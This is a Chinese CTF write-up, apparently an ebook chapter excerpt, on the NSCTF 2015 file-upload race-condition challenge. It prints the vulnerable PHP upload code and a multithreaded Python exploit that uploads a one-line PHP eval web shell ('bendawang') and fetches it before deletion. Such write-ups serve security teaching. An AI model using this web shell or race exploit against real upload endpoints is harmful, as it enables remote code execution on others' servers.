上QQ阅读APP看书,第一时间看更新
8.1 NSCTF 2015 Web实例
题目逻辑较为简单,当你上传一个php5后缀的文件时,是能够成功上传的,但是很快就会看到提示:检测到恶意文件,且该文件会立即被删掉。题目并没有给出源代码,不过这里我们会结合源码来进行分析,主要源码如下:
<h1>请上传文件!</h1><br> <form method="post" action="index.php" enctype="multipart/form-data"> <input type="file" name="file" value="1111"/> <input type="submit" name="submit" value="upload"/> </form> <?php error_reporting(0); if(isset($_POST['submit'])) { $savefile = $_FILES['file']['name']; $savefile = preg_replace("/\.\.|\%/", "", $savefile); $tempfile = $_FILES['file']['tmp_name']; $savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile); $savefile = 'upload/'.$savefile; if(move_uploaded_file($tempfile,$savefile)) { $filename = $savefile; if(file_exists($filename) && ((substr($savefile, -5) == '.php5'))) { file_put_contents($filename, "flag:{NSCTF_8f0fc74ddf786103ed56d20af3bf269}"); sleep(0.5); unlink($filename); exit('上传成功,文件地址为:'.$savefile."<br>"."但是系统检测到恶意上传立马又被删了~"); }else{ unlink($filename); exit('上传成功,文件地址为:'.$savefile."<br>"); } }else{ exit('上传失败~'."<br>"); } }
可以看到题目将flag写入我们上传的文件,但是隔了0.5s之后就删掉了,所以我们可以通过多线程并发操作,同时上传然后访问,利用中间0.5s的间隙通过条件竞争漏洞在其还未被删除时访问,即可获得flag,测试代码如下:
import sys import requests import threading url1 = "http://127.0.0.1:8000/" url2 = "http://127.0.0.1:8000/upload/1.php5" def upload(url): boundary = '---------------------------1140584253378828599621526726' header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'multipart/form-data; boundary='+boundary, 'Connection': 'keep-alive', } tmp = [] tmp.append('--' + boundary) tmp.append('Content-Disposition: form-data; name="file"; filename="1.php5"') tmp.append('Content-Type: application/octet-stream') tmp.append('') content="<?php @eval($_POST[bendawang]);?>" tmp.append(content) tmp.append('--' + boundary) tmp.append('Content-Disposition: form-data; name="submit"') tmp.append('') tmp.append('upload') tmp.append('--' + boundary + '--') tmp.append('') CRLF = '\r\n' data = CRLF.join(tmp) result=requests.post(url,data=data,headers=header) return result def get(url): try: result=requests.get(url) if "flag" in result.content: print result.content except: pass def main(): while True: t1 = threading.Thread(target=upload, args=(url1,)) # 一个线程上传 t2 = threading.Thread(target=get, args=(url2,)) # 一个线程竞争访问 t1.start() t2.start() t1.join() t2.join() if __name__ == '__main__': sys.exit(int(main() or 0))
运行结果如图8-1所示。
图8-1 运行结果